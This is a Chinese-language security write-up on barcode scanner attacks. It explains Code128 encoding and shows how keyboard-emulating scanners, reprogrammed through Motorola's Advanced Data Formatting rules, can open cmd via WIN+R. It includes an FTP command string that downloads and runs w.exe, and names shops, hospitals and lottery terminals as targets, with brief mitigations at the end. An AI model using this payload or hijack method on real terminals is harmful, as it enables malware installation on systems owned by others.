Author:[email protected]

0×00 前言


在日常生活中,条形码随处可见,特别在超市,便利店,物流业,但你们扫的条形码真的安全吗?之前TK教主 在PacSec介绍的条形码攻击和twitter上的demo视频太炫酷,所以就自己买了个扫码器自己研究了一下 ,在研究时候也找遍了国内外所有资料,但是都没有对可以执行的攻击技术完整的文章,故有此文分享。 : )

0×01 条形码介绍


p1

条形码(barcode)是将宽度不等的多个黑条和空白,按照一定的编码规则排列,用以表达一组信息的图形标识符。常见的条形码是由反射率相差很大的黑条(简称条)和白条(简称空)排成的平行线图案。

常见的条形码类型有code39 code128 code93 EAN128 EAN13 QR等,前面大部分是一维条形码,而QR则是二维条形码,本文重点针对支持一维条形码的扫码器。其中code128是使用最广泛,支持字符最多的一种类型,一般都利用code128条形码进行攻击。

0×02 扫码器介绍


p2

扫码器,大家几乎每天都能看到,在超市付账,物流,医院,彩票等。作用就是把条形码的信息提取出来,而常规的扫码器的工作原理是利用红外线照射,然后反射得出条形码的信息,再用扫描器内置的芯片处理得出结果。国际上常用的扫描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托罗拉收购。

大家在超市购物付账时候都注意到,商品通过扫描后,商品的编码直接显示在屏幕上,其实很多扫码器都是用keyboard的方式输入的,也就是说一个扫描器就相当于一个键盘,这是一个较大的风险。

p3

0×03 Code128条形码


既然知道扫描器是一个keyboard设备,只要控制条形码的数据就可以随意输入键盘数据了。但例如UPC条形码只支持数字,有些则只支持数字与字母,而Code128 是一种广泛使用的条形码类型,因为它支持ASCII 0-127字符,所以叫code128,条形码长度可调,最大支持232个字符。

Code128也分为三种:

  1. Code128A:标准数字和大写字母,控制符,特殊字符
  2. Code128B:标准数字和大写字母,小写字母,特殊字符
  3. Code128C/EAN128:[00]-[99]的数字对集合,共100个,即只能表示偶数位长度的数字。

Code128由四部分组成:起始码,数据码,校验码(可有可无),结束码

p4

如上条形码,黑白相间,且线条粗细不一;由黑色线条(条,Bar)与空白(空,Space)组成,根据粗细程度,可以将以上条形码起始码解读为:211214;第一条黑色竖线是由两个单位的竖线合并组成,而第二条空白竖线即由一个单位的竖线,如此类推。一般前6条的Bar与Space为一个单元。211214 用1,0转成逻辑码就是11010010000,也即是起始码。

起始码对照:

  • 128A 11010000100
  • 128B 11010010000
  • 128C 11010011100

结束码都是统一的1100011101011

根据上面的解读出的逻辑码11010010000,就可以推断上面那个条形码是属于code128-B类型了。

p5

p6

最后再根据code128的编码表就可以分析出条形码的数据(编码表太长就不贴完了)

0×04 控制字符与条形码生成


根据上面分析的code128规则,已经可以自己写出一个读取识别和生成条形码的程序了。而我们是要执行操作,最简单的就是利用控制字符。控制字符即非显示字符,例如回车,换行,制表符等。在ASCII中,0-31和127 就是控制字符。

p7

根据ASCII的控制字符表,可以看出Ctrl+?的组合键几乎都有了,例如Ctrl+O,也就是打开文件,但这个只是局部快捷组合键,在一些程序中才能应用,例如浏览器,word等等,利用这些控制字符在某些终端可以使程序跳出沙盒。如何生成可以使计算机执行Ctrl+O的条形码?因为已经上面已经介绍过code128的规则算法,自己写程序也可以。网络也有很多条形码生成的小程序,但在这里推荐一个强大的条形码编辑工具:BarTender

p8

下载安装后点击菜单栏“文件”-“新建”-“完成”,就会出现一个空白模板。

p9

然后点击条形码按钮就可以创建自己的条形码,选择code128类型。

p10

利用BarTender轻松就可以生成出条形码,而且字符可以随时改动,方便调试。扫描上图就验证码后,会输入“FutureSec”,然后输入控制字符Ctrl+O

p11

扫码器扫描后立即弹出对话框

市面上基本任何一款扫码器都能执行,因为code128是绝大部分扫码器都支持的。

0×05 Advanced Data Formatting(高级数据格式)


Advanced Data Formatting(ADF),高级数据格式。是摩托罗拉针对扫描器开发的一种更高级的数据输入,根据自己的设定一步一步的规则可以自定义输入的数据,也可以说是一种支持编程的条形码技术。

例如,在一个结账系统中,当你对一个商品扫描后,由于该结账系统不能直接对该条形码直接处理,就需要这种技术。结账系统识别码:A12345,前面要A开头;条形码的数据类型:12345 纯数字,想要在这个结账系统中识别就要在输入前进行处理。

再举个例子:

条形码的数据:

8523647122

通过ADF输出的数据:

8523641<Enter>

如何实现ADF?

p12

现在网上仍然没有ADF的中文资料,而在外国的网站也寥寥无几,无人问津,但靠tk的ppt中提到的ADF也是一头雾水,因为没有具体技术描述,只是一行字带过。后来找到一份摩托罗拉撰写300多页的ADF指南PDF。

ADF是一种编程,根据自己的需求构建规则,而用的就不是用代码进行编程而是条形码。ADF把所有规则都用条形码表示,例如Perfix/Suffix,Replace,字符输入等。

利用ADF挟持扫描器数据

对扫描器进行ADF设置时要先扫描开始模式,Begin New Rule

p13

此后开始扫描的条形码都会被添加规则,前提是规则的逻辑是合法的。

随后依次扫描下列条形码

p14

p15

p16

p17

然后Save Rule

p18

当Save Rule,扫描器的输出数据都会被挟持成“TEST”,当你设置了ADF时,就会把你的规则按流程一步一步执行。

如何恢复?

p19

扫描清除所有规则条形码即可。

0×06 利用ADF执行命令,种植木马


由于单凭控制字符无法执行命令,而ADF支持简单的编程和更多的键,利用ADF可以轻松执行系统命令。由于ADF支持很多键,例如最有用的WIN+R。

p20

在ADF中称为GUI R,既然知道了可以WIN+R的键,利用上面的规则就可以弹出cmd执行了。但这样还是不行,因为输入的是由系统自动输入,速度是手打无法可比的,当你执行到GUI R,再执行"c","m","d",win+r的对话框还没有出来就已经输入了cmd,所有要延时,而ADF就支持,相当于编程中的sleep()

p21

在录ADF规则时,扫描延时后要输入两个Numeric,例如依次0和1两个码,就代表延时0.1秒,0和5就代表0.5秒,默认是延时1秒。

知道这些ADF条形码后就可以构建弹出cmd,然后再利用控制字符执行命令,主要是Enter。但如果要按照以上这么搞的话,仅是弹出一个cmd窗口就要十多个条形码了,也就是说扫描器要扫十多次。可以先看看腾讯玄武实验室的demo视频:

https://twitter.com/tombkeeper/status/663730674017300480

视频中用了一叠条形码,依次扫描,扫描了十多次就出来个cmd,可能这与扫描器型号也有关系。

p22

这样的话不管是规则生成和利用都非常繁琐,其实是可以优化的,ADF的规则可以合并。利用motorola的扫描器软件123scan。

p23

123scan是摩托罗拉官方出品非常强大的扫描器管理软件,在其官网可以下载。功能很多,在这里就介绍利用123scan设置ADF。

打开后点击"Create new configuration file"->"My scanner is NOT connected"->选择扫描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。

p24

点击Add action就是添加规则。

p25

ADF所有规则都在里面,包括Beep控制(控制扫描器蜂鸣),Replace等。

p26

设置延时0.5秒,依次添加规则。

p27

最后会自动合并条形码并输出。

p28

以上就是执行任意命令的条形码payload,除去1和2的设置出厂设置和清除所有规则,只需要4个条形码就可以执行任意单条命令。其中Send ALL that remains是代表设置ADF后扫描条形码的原本数据。 以上四组条形码的ADF流程是:输入WIN+R键->延时0.5秒->输入c键->输入m键->输入d键->输入回车->延时0.5秒->执行条形码的内容,而随后的Send ALL that remains就是你要执行的命令,可以多行命令,要是单行命令基本上4条就够不需要加Send ALL that remains。

利用ADF种植木马

既然已经可以执行cmd命令,最简单的方法就是利用ftp下载执行任意程序。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。

p29

#!bash
ftp test«CR»a«CR»a«CR»get w.exe«CR»bye«CR»w.exe«CR»get w.exe«CR»bye«CR»w.exe«CR»

下面给出我们的demo视频,是已经经过扫描四次ADF设置后。不管扫描什么条形码执行到Send ALL that remains。视频中是利用FTP命令执行。

(测试型号Symbol-LS4208-SR20001ZZR)

http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2

密码:wooyun520

0×07 攻击场景


简单总结一下可能存在攻击的场景地点:

1.商店付款

p30

直接把条形码替换到商品;很多便利店支持微信,支付宝二维码支付,扫描器也支持多个类型条形码,可以直接把条形码存在手机中,让其扫描;有些大型百货有资助价格查询终端,只要用特殊的条形码到终端一扫就能跳出终端。

2.医院病历,检验单

p31

现在医院的挂号,病历都会有个条形码,直接到医院自主终端或直接递给护士扫描;去医院都知道,有资助出检验单的终端,只要一扫就会单子,基本每个医院都有了。

p32

3.彩票

p32

彩票自身都会有条形码,兑换彩票就凭靠条形码到机器识别,所以伪造或对检验机进行攻击还是有可能,彩票终端类型这么多。

p33

4.快递单子

p34

快递都有条形码,一般是code128或者code39类型。在一些快递自助取件柜,和快递小哥扫描的时候或许会出现风险。

p35

。。。。。。

场景很多就不一一列举了,以上场景有空我会逐一分析。

0×08 防范方法


  1. 扫码器默认不要开启ADF功能
  2. 扫描器尽量不要使用键盘模拟
  3. 设置热键黑名单

0×09 总结


一维条形码攻击的概念在国外很多年前就有提出了,但是没人深入研究。利用条形码也可能出现SQL注射,XSS,溢出等攻击。

无论什么设备,只要能控制一部分输入,就存在风险!

0x0A 参考文献